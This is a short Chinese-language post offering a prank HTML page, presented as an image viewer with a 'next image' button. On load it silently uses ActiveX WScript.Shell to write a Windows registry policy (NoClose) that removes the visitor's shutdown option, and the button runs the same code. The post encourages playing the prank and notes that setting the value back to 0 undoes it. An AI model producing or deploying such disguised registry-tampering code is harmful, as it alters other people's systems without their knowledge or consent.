純屬惡作劇（只對IE瀏覽器有效因為要調用ActiveX）
<!--E-mail：shyhero@outlook.comAuthor: dujianing 刪除關機按鈕 --><!DOCTYPE html><html> <head> <meta charset="UTF-8"/> <title></title> <script type="text/javascript" language="javascript"> function disableTaskMgr(flg){ var shell = new ActiveXObject("WScript.Shell"); try{ shell.RegWrite("HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 1,"REG_DWORD") }catch(e){ throw e; } } </script> </head> <body onLoad="disableTaskMgr(true)"> <img src="imgs/2.jpg"/> <button onclick="disableTaskMgr(true)">下一張 </button> </body></html>備注：可以惡作劇一下，修改注冊表，把值改為0就能還原
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